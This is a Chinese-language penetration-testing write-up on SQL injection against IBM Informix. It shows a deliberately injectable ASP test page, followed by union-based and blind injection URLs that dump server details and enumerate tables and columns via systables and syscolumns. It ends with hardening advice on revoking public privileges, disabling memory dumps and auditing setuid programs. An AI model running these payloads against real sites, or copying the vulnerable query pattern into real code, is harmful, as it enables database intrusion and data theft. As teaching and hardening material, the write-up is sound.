前些時間做一個滲透測試,數據庫是informix的。整理了一下。
informix數據類型比較復雜,在union查詢中最郁悶的就是匹配字段的問題
數據類型如下
informix的字段類型 char(size) varchar(size)
serial
nchar(size) nvarchar(size)
real
interval
date
datetime
integer
smallint
float
smallfloat
money(p,s)
decimal(p,s)
text byte 如果字段數量和類型都匹配了 那么得到數據很容易
****************************************************
測試環境: reate table test(name char(32),id int)
****************************************************
ASP代碼
====================================================
<%
Set conn=Server.CreateObject("ADODB.CONNECTION")
Set rs=Server.CreateObject("ADODB.RecordSet")
conn.open "dsn=poison;uid=informix;pwd=xxxxxx"
id=request("id")
strSQL = "select name from test where id=" & id
set rs=conn.execute(strSQL)
response.write(rs("name"))
rs.close
conn.close
%>
=====================================================
http://127.0.0.1/aaa.asp?id=1 and 1=1 union select dbservername from systables; dbservername,返回數據庫服務器的名稱
http://127.0.0.1/aaa.asp?id=1 and 1=1 union select user from systables;
user,返回執行查詢的用戶的用戶名(登陸帳戶名)
http://127.0.0.1/aaa.asp?id=1 and 1=1 union select to_char(today) from systables;
http://127.0.0.1/aaa.asp?id=1 and 1=1 union select to_char(dbinfo(’sqlca.sqlerrd1’)) from systables;
返回任何表中插入的最后一個SERIAL值
http://127.0.0.1/aaa.asp?id=1 and 1=1 union select to_char(dbinfo(’version’, ’full’)) from systables;
***************************************************************************************************************************
得到任何數據
兩個重要的系統表 systables:描述數據庫中的很張表; syscolumns:描述數據庫中表的列; ==============================================
select * from systables
tabname syscolumns
owner informix
partnum 1048580
tabid 2
rowsize 157
ncols 10
nindexes 2
nrows 2353.000000000
created 04/28/2008
version 65539
tabtype T
locklevel R
npused 25.00000000000
fextsize 32
nextsize 32
flags 0
site
dbname
type_xid 0
am_id 0
pagesize 4096
ustlowts 2008-04-28 22:26:00.00000
secpolicyid 0
protgranularity
==================================================
select * from syscolumns
colname tabname
tabid 1
colno 1
coltype 13
collength 128
colmin 541543519
colmax 1937339256
extended_id 0
seclabelid 0
colattr 0
===================================================
這樣就可以得到任何表任何列的信息了 http://127.0.0.1/aaa.asp?id=1 and 1=1 union select to_char(count(*)) from systables
因為informix中利用first n 經常會出現"Cannot use "first", "limit" or "skip" in this context"的問題
(我也不知道什么原因 一些工具也就無法遞歸猜解數據)
systables 中tabid順序排列 可以窮舉得到所有表名 http://127.0.0.1/aaa.asp?id=1 and 1=2 union select tabname from systables where tabid=1
http://127.0.0.1/aaa.asp?id=1 and 1=2 union select tabname from systables where tabid=n
得到tabid和tabname的對應關系 and 1=2 union select colname from syscolumns where tabid=1
http://127.0.0.1/aaa.asp?id=1 and 1=2 union select colname from syscolumns where tabid=100 and colno=1
http://127.0.0.1/aaa.asp?id=1 and 1=2 union select colname from syscolumns where tabid=100 and colno=2
http://127.0.0.1/aaa.asp?id=1 and 1=2 union select colname from syscolumns where tabid=100 and colno=n
得到tabid=100 對應表的所有列
表列都有了 直接暴數據
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
不能union只能以為以為去猜 和ACCESS沒什么太大的區別
注意只是一些函數的差別
length長度
substr 返回字符串中的某一部分,例substr(col,1,2)
substring 返回字符串中的某一部分,例substring(col,from 1 to 4)
我沒有找到ASCII轉化的函數
可以用字符表示 例’a’=substr(admin,1,1)
或者用十六進制函數
hex返回表達式的十六進制數
保護informix 為服務器持續打補丁
每當IBM發布新補丁的時候,應該盡可能地測試這些補丁并將其部署到生產系統上去
加密網絡通信量
應該加密服務器和客戶機之間的通信量。這有助于保護用戶賬戶以及阻止通過網絡竊取數據。通過使用Communication Support Module(通信支持模塊)可以實現這一點。請參看Informix Server Administrator’s Guide(Informix服務器管理員指南)
取消Public的Connect特權
默認地,public被授予了connect特權。這意味著任何人,只要持有有效的操作系統用戶ID和口令,都可以連接到數據庫服務器。
啟用審計
應該對關鍵事件進行審計,例如登陸嘗試失敗。更多細節請參看Administrators Guid或者Trusted Facility Guide。
取消Public對文件訪問例程的權限
默認地,public可以執行文件訪問函數,例如lotofile、filetoclob 和ifx_file_to_file。這將允許攻擊者讀、寫服務器上的文件。為幫助解決這一安全漏洞,創建一個名為FileAccess的角色,按照嚴格的業務需求,只把那些需要訪問文件的用戶分配為該角色的成員。然后為該角色分配對文件訪問例程的執行權限,并取消public的執行權限。
取消Public對模塊例程的執行權限
默認地,public可以執行模塊函數,例如ifx_replace_module、ifx_load_internal和reload_module。這將允許攻擊者強制Informix服務器加載任意的庫并像Informix用戶一樣執行代碼。為幫助解決這一安全漏洞,創建一個名為 ModuleAccess的角色,按照嚴格的業務需求,只把那些需要加載模塊的用戶分配為該角色的成員。然后為該角色分配對這些例程的執行權限,并取消 public的執行權限。
阻止轉儲共享內存
在服務器崩潰事件中,可以將Informix配置為將共享內存段轉儲到磁盤。這是默認配置。因為這些轉儲文件是完全可讀的且包含用戶名和口令,將Informix配置為不轉儲共享內存將更合適。為此,編輯onconfig文件并將 DUMPSHMEM參數設置為0。然后停止并重啟服務器。
阻止對基于Unix的服務器的本地攻擊
Informix遭受的基于Unix平臺的大部分本地安全問題都源自setuid root程序和setgid Informix程序。為了列舉所有這樣的程序,轉到$INFORMIXDIR/bin目錄下并發出下面的命令:
find ./ -perm 4000
這將列舉bin目錄內的全部setuid程序。防止本地用戶攻擊setuid程序的最簡單的辦法是刪除other的執行權限;實際上,可以簡單地刪除others的全部權限:
chmod * o-rwx
限制語言Usage權限
應該限制被授予了C和Java例程語言usage權限的用戶的數量。擁有這些語言的usage權限的任何人都可以像Informix用戶一樣運行代碼。
有用文檔
下述文檔值得一讀:
IBM Informix Dynamic Server Administrator’s Guide:http://publibfp.boulder.ibm.com/epubs/pdf/ct1ucna.pdf
IBM Informix Trusted Facility Guide:http://publibfp.boulder.ibm.com/epubs/pdf/ct1tbna.pdf
IBM Informix Guide to SQL:http://publibfi.boulder.ibm.com/epubs/pdf/ct1sqna.pdf
|